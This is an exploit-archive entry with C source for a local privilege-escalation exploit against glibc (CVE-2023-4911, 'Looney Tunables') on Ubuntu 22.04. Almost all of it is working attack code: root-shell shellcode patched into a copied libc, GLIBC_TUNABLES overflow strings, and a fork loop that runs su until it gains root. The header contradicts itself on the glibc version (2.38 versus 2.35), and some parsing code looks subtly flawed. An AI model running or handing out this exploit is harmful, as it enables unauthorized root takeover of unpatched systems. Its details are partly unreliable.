# Exploit Title: glibc 2.38 - Buffer Overflow # Google Dork: N/A # Date: 2025-10-08 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://www.gnu.org/software/libc/ # Software Link: https://ftp.gnu.org/gnu/libc/glibc-2.35.tar.gz # Version: glibc 2.35 (specifically 2.35-0ubuntu3.3 on Ubuntu 22.04.3 LTS) # Tested on: Ubuntu 22.04.3 LTS (glibc 2.35-0ubuntu3.3) # CVE : CVE-2023-4911 # Description: Looney Tunables - glibc GLIBC_TUNABLES Environment Variable Buffer Overflow # This is a local privilege escalation exploit for CVE-2023-4911, also known as # "Looney Tunables", caused by a buffer overflow in the glibc dynamic loader's # environment variable parsing logic. The vulnerability is triggered by crafting # a maliciously long GLIBC_TUNABLES string which corrupts internal loader state, # allowing control over DT_RPATH and arbitrary shared object loading. # # This PoC creates a patched version of libc.so.6 with embedded shellcode and # abuses the loader to execute arbitrary code as root by invoking /usr/bin/su # with a malicious environment. # #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #define FILL_SIZE 0xd00 #define BOF_SIZE 0x600 #define MAX_ENVP 0x1000 // shellcode generado con pwntools const unsigned char shellcode[] = { 0x48, 0x31, 0xff, // xor rdi,rdi 0x6a, 0x69, // push 0x69 ; syscall setuid 0x58, // pop rax 0x0f, 0x05, // syscall 0x48, 0x31, 0xff, // xor rdi,rdi 0x6a, 0x6a, // push 0x6a ; syscall setgid 0x58, // pop rax 0x0f, 0x05, // syscall 0x48, 0x31, 0xd2, // xor rdx, rdx 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, // mov rbx, "/bin/sh" 0x53, // push rbx 0x48, 0x89, 0xe7, // mov rdi, rsp 0x50, // push rax 0x57, // push rdi 0x48, 0x89, 0xe6, // mov rsi, rsp 0xb0, 0x3b, // mov al, 0x3b 0x0f, 0x05 // syscall }; int64_t time_us() { struct timespec tms; if (clock_gettime(CLOCK_REALTIME, &tms)) return -1; int64_t micros = tms.tv_sec * 1000000; micros += tms.tv_nsec / 1000; if (tms.tv_nsec % 1000 >= 500) ++micros; return micros; } void patch_libc() { FILE *f = fopen("/lib/x86_64-linux-gnu/libc.so.6", "rb"); if (!f) { perror("fopen"); exit(1); } fseek(f, 0, SEEK_END); long size = ftell(f); rewind(f); unsigned char *data = malloc(size); if (fread(data, 1, size, f) != size) { perror("fread"); exit(1); } fclose(f); Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data; Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff); Elf64_Sym *symtab = NULL; char *strtab = NULL; for (int i = 0; i < ehdr->e_shnum; ++i) { if (shdr[i].sh_type == SHT_SYMTAB) { symtab = (Elf64_Sym *)(data + shdr[i].sh_offset); strtab = (char *)(data + shdr[shdr[i].sh_link].sh_offset); break; } } if (!symtab || !strtab) { fprintf(stderr, "[-] Failed to find symtab\n"); exit(1); } Elf64_Addr target_addr = 0; for (int i = 0; i < shdr->sh_size / sizeof(Elf64_Sym); ++i) { if (strcmp(&strtab[symtab[i].st_name], "__libc_start_main") == 0) { target_addr = symtab[i].st_value; break; } } if (!target_addr) { fprintf(stderr, "[-] Could not find __libc_start_main\n"); exit(1); } // patch shellcode at the symbol location memcpy(data + target_addr, shellcode, sizeof(shellcode)); f = fopen("./libc.so.6", "wb"); if (!f) { perror("fopen (write)"); exit(1); } fwrite(data, 1, size, f); fclose(f); free(data); printf("[+] Patched libc.so.6 written.\n"); } int main(void) { char filler[FILL_SIZE], kv[BOF_SIZE], filler2[BOF_SIZE + 0x20], dt_rpath[0x20000]; char *argv[] = {"/usr/bin/su", "--help", NULL}; char *envp[MAX_ENVP] = { NULL }; // Create directory and patched libc if not present if (mkdir("\"", 0755) == 0) { patch_libc(); int sfd = open("./libc.so.6", O_RDONLY); int dfd = open("\"/libc.so.6", O_CREAT | O_WRONLY, 0755); char buf[0x1000]; int len; while ((len = read(sfd, buf, sizeof(buf))) > 0) { write(dfd, buf, len); } close(sfd); close(dfd); } memset(filler, 'F', sizeof(filler)); filler[sizeof(filler)-1] = '\0'; strcpy(filler, "GLIBC_TUNABLES=glibc.malloc.mxfast="); memset(kv, 'A', sizeof(kv)); kv[sizeof(kv)-1] = '\0'; strcpy(kv, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast="); memset(filler2, 'F', sizeof(filler2)); filler2[sizeof(filler2)-1] = '\0'; strcpy(filler2, "GLIBC_TUNABLES=glibc.malloc.mxfast="); for (int i = 0; i < MAX_ENVP; i++) envp[i] = ""; envp[0] = filler; envp[1] = kv; envp[0x65] = ""; envp[0x65 + 0xb8] = "\x30\xf0\xff\xff\xfd\x7f"; envp[0xf7f] = filler2; for (int i = 0; i < sizeof(dt_rpath); i += 8) { *(uintptr_t *)(dt_rpath + i) = -0x14ULL; } dt_rpath[sizeof(dt_rpath) - 1] = '\0'; for (int i = 0; i < 0x2f; i++) { envp[0xf80 + i] = dt_rpath; } envp[0xffe] = "AAAA"; setrlimit(RLIMIT_STACK, &(struct rlimit){RLIM_INFINITY, RLIM_INFINITY}); int pid; for (int ct = 1;; ct++) { if (ct % 100 == 0) printf("try %d\n", ct); if ((pid = fork()) < 0) { perror("fork"); break; } else if (pid == 0) { execve(argv[0], argv, envp); perror("execve (child)"); exit(1); } else { int wstatus; int64_t st = time_us(), en; wait(&wstatus); en = time_us(); if (!WIFSIGNALED(wstatus) && en - st > 1000000) { printf("[+] Exploit likely succeeded!\n"); break; } } } return 0; }